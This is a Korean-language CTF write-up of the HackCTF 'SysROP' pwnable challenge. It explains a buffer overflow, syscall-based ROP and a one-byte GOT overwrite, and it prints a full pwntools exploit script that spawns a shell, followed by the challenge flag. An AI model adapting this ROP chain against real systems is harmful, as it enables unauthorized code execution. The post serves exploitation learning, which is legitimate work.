[Pwnable] SysROP
Wargame/HackCTF

[Pwnable] SysROP

오늘은 SysROP 문제를 풀어보자

 

mitigation

우선 NX Bit만 Enabled 되어 있어서 그냥 심플한 ROP 문제일거라고 생각했다.

 

??: 물론 디버깅을 하기 전까지

 

main

별 특별한 거는 없고 read에서 BOF가 터진다.

 

info function

근데 문제가 생겼다.

 

출력을 해주는 함수가 없어 leak을 하지 못한다.

 

이럴때는 Syscall을 이용한 ROP 방법이 있다.

 

우선 Syscall에 대해서 간략하게 알아보자

 


What Is Syscall?

 

user단에서 커널단에게 파일을 읽거나 쓰는 특정 작업을 요청할 때 사용되는 어셈블리이다. 

 

유저단에서 커널단으로 요청할때 사용되는 어셈블리가 syscall, int 0x80 이다. 

(int는 자료형이 아니라 interrupt의 줄임말이다)


우리는 "int 0x80" 명령어가 없으니 syscall 명령어를 이용해서

함수 호출을 해야한다.

 

read 함수에 syscall이 들어있으니 이를 이용하면 될 거 같다.

 

그럼 익스 코드를 구상해보자

 

우선 read의 gadget을 채워야하니

pppr gadget이 필요할 것이다.

 

 

그리고 syscall의 작동원리에 대해서 알아야 하는데

syscall은 rax의 값에 따라 System Call이 달라진다

blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

 

Linux System Call Table for x86 64 · Ryan A. Chapman

Linux 4.7 (pulled from github.com/torvalds/linux on Jul 20 2016), x86_64 Note: 64-bit x86 uses syscall instead of interrupt 0x80. The result value will be in %rax To find the implementation of a system call, grep the kernel tree for SYSCALL_DEFINE.\?(sysca

blog.rchapman.org

우리는 execve("/bin/sh", 0, 0)를 실행시키는게 최종 목표이다.

 

그렇다면 rax가 포함된 ppppr gadget을 찾아야 될거 같다.

ppppr

그리고 "/bin/sh"를 적어야 될 영역이 필요하므로

Data 영역 혹은 BSS 영역에 문자열을 삽입하면 딱 좋을거 같다.

 

data
bss

최종적으로 익스 코드 흐름을 정리해보자


1. "/bin/sh" String Input in Bss

2. overwrite read@got 1 byte to 0x5e

3. set the register of sycall for exceve


 

이제 익스 코드를 작성해보면서 완벽히 이해해보자.

 

from pwn import *
p = remote("ctf.j0n9hyun.xyz",3024)
#r=process("./sysrop")
libc = ELF("./libc.so.6")
e = ELF("./sysrop")
context.log_level='debug'

read=e.plt['read']
read_got=e.got['read']
ppppr=0x00000000004005ea #: pop rax ; pop rdx ; pop rdi ; pop rsi ; ret
pppr=0x4005eb # rdx rdi rsi ret
bss= 0x601060

payload = 'a' * 0x10
payload += 'b' * 0x8
payload += p64(pppr)
payload += p64(7)
payload += p64(0)
payload += p64(bss)
payload += p64(read) # got /bin/sh
payload += p64(0x4005f2) #main

p.sendline(payload)
sleep(1)

p.send('/bin/sh')
sleep(1)
payload2 = 'a' * 0x10
payload2 += 'x' * 0x8
payload2 += p64(pppr)
payload2 += p64(1)
payload2 += p64(0)
payload2 += p64(read_got) 
payload2 += p64(read) #1 byte got overwrite

#exceve
payload2 += p64(ppppr)
payload2 += p64(59)
payload2 += p64(0)
payload2 += p64(bss)
payload2 += p64(0)
payload2 += p64(read)

p.sendline(payload2)
sleep(1)

p.send('\x5e')
sleep(1)
p.interactive()

 

 

flag

 

FLAG = HackCTF{D0_y0u_Kn0w_sysc411?}

 

문제가 점점 어려워지기 시작했다..

계속 복습하고 문제 끊임없이 풀어야지..

 

 

흐엉

 

오늘도 끄-읕😶

'Wargame > HackCTF' 카테고리의 다른 글

[Pwnable] Register  (0) 2021.10.18
[Pwnable] RTC  (0) 2021.10.18
[pwnable] Look at me  (0) 2021.02.22
[Pwnable] RTL_Core  (0) 2021.02.07
[Pwnable] Random Key  (0) 2021.02.06